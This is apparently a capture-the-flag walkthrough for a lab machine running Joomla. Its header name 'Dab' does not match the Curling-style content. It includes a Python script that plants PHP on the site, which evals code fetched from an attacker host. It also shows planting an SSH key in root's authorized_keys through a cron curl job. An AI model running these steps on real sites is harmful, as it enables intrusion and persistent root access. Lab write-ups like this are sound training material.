Description 
Name: Dab 
IP: 10.10.10.150 
Author: L4mpje 
Difficulty: 3.3/10 
 
Discovery nmap -sV -sC -Pn -p 1-65535 -T5 --min-rate 1000 --max-retries 5 10.10.10.150
1 2 3 4 5 6 7 8 9 10 11 PORT   STATE SERVICE VERSION 22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: |   2048 8a:d1:69:b4:90:20:3e:a7:b6:54:01:eb:68:30:3a:ca (RSA) |   256 9f:0b:c2:b2:0b:ad:8f:a1:4e:0b:f6:33:79:ef:fb:43 (ECDSA) |_  256 c1:2a:35:44:30:0c:5b:56:6a:3f:a5:cc:64:66:d9:a9 (ED25519) 80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu)) |_http-generator: Joomla! - Open Source Content Management |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Home Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel 
 
Pwn 
You already have the latest Joomla version, 3.8.8.
The website is running the latest version of Joomla but we saw a secret.txt HTML comment in the source code and that Floris is a site writer.
From http://10.10.10.150/secret.txt  we got a base64 string: Q3VybGluZzIwMTgh that decoded is: Curling2018!.
With floris:Curling2018! we can now login in the Joomla control panel.
We can also use a webshell uploader to trigger the web_devlivery metasploit module:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 import  requestsimport  sysimport  retarget = sys.argv[1 ] print('[+] Checking: '  + str(target)) session = requests.session() initlink = target + '/administrator/index.php'  initsend = session.get(initlink) initresp = initsend.text find_token = re.compile('[a-fA-F0-9]{32}' ) found_token = re.findall(find_token, initresp) if  found_token:    initToken = found_token[-1 ]     print('[+] Found init token: '  + initToken)     print('[+] Preparing login request' )     data_login = {         'username' : 'floris' ,         'passwd' : 'Curling2018!' ,         'lang' : '' ,         'option' : 'com_login' ,         'task' : 'login' ,         'return' : 'aW5kZXgucGhw' ,         initToken: '1'      }     data_link = initlink     doLogin = session.post(data_link, data=data_login)     loginResp = doLogin.text     uplink = target + '/administrator/index.php?option=com_templates&view=template&id=503&file=L2pzc3RyaW5ncy5waHA%3D'      filename = 'jsstrings.php'      print('[+] File to change: '  + str(filename))     getnewtoken = session.get(uplink)     getresptoken = getnewtoken.text     newToken = re.compile('[a-fA-F0-9]{32}' )     newFound = re.findall(newToken, getresptoken)     if  newFound:         newOneTok = newFound[-1 ]         print('[+] Grabbing new token from logged-in user: '  + newOneTok)         getjs = target + '/administrator/index.php?option=com_templates&view=template&id=503&file=L2pzc3RyaW5ncy5waHA%3D'          getjsreq = session.get(getjs)         getjsresp = getjsreq.text         print('[+] Shellname: '  + filename)         shlink = target + '/administrator/index.php?option=com_templates&view=template&id=503&file=L2pzc3RyaW5ncy5waHA='          shdata_up = {             'jform[source]' :             "<?php eval(file_get_contents('http://10.10.XX.XX:8080/dodometer'));" ,             'task' :             'template.apply' ,             newOneTok:             '1' ,             'jform[extension_id]' :             '503' ,             'jform[filename]' :             '/'  + filename         }         shreq = session.post(shlink, data=shdata_up)         path2shell = '/templates/beez3/jsstrings.php?x=id'          print('[+] Shell is ready to use: '  + str(path2shell))         print('[+] Checking:' )         shreq = session.get(target + path2shell) print('\n[+] Module finished.' ) 
 
We got a session as www-data data and to read the first flag we need to escalate di floris user. In /home/floris we got a password_backup file which is the hexdump of a bzip archive (BZ magic bytes).
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 00000000: 425a 6839 3141 5926 5359 819b bb48 0000  BZh91AY&SY...H.. 00000010: 17ff fffc 41cf 05f9 5029 6176 61cc 3a34  ....A...P)ava.:4 00000020: 4edc cccc 6e11 5400 23ab 4025 f802 1960  N...n.T.#.@%...` 00000030: 2018 0ca0 0092 1c7a 8340 0000 0000 0000   ......z.@...... 00000040: 0680 6988 3468 6469 89a6 d439 ea68 c800  ..i.4hdi...9.h.. 00000050: 000f 51a0 0064 681a 069e a190 0000 0034  ..Q..dh........4 00000060: 6900 0781 3501 6e18 c2d7 8c98 874a 13a0  i...5.n......J.. 00000070: 0868 ae19 c02a b0c1 7d79 2ec2 3c7e 9d78  .h...*..}y..<~.x 00000080: f53e 0809 f073 5654 c27a 4886 dfa2 e931  .>...sVT.zH....1 00000090: c856 921b 1221 3385 6046 a2dd c173 0d22  .V...!3.`F...s." 000000a0: b996 6ed4 0cdb 8737 6a3a 58ea 6411 5290  ..n....7j:X.d.R. 000000b0: ad6b b12f 0813 8120 8205 a5f5 2970 c503  .k./... ....)p.. 000000c0: 37db ab3b e000 ef85 f439 a414 8850 1843  7..;.....9...P.C 000000d0: 8259 be50 0986 1e48 42d5 13ea 1c2a 098c  .Y.P...HB....*.. 000000e0: 8a47 ab1d 20a7 5540 72ff 1772 4538 5090  .G.. .U@r..rE8P. 000000f0: 819b bb48                                ...H 
 
Using xxd we got the original compressed file: xxd -r pb.hex > pb.bzip2
pb.zip: bzip2 compressed data, block size = 900k
After some extractions (4) we got password.txt containing: 5d<wdCbdZu)|hChXll. Using this password we can now connect to SSH as floris.
In the home directory of Floris there is a admin-area folder with two file.
The input file is just a url directive and report is the curl/wget of the specified URL.
Using pspy , uploaded on the machine using python -m http.server 80 and wget, we saw that every 2 2 minutes a root process is running:
We can edit the input file to print the content of the root.txt file using url = "file:///root/root.txt".
After a while we got the root flag.
It is possible to get a root shell using the same technique:
Create a public/private key with ssh-keygen -f foo 
Edit the input file as follow to upload the public key for root user login 
 
1 2 url = "file:///tmp/.dodo/foo.pub" output = "/root/.ssh/authorized_keys" 
 
Wait for the root process to execute the curl command 
SSH as root using the private key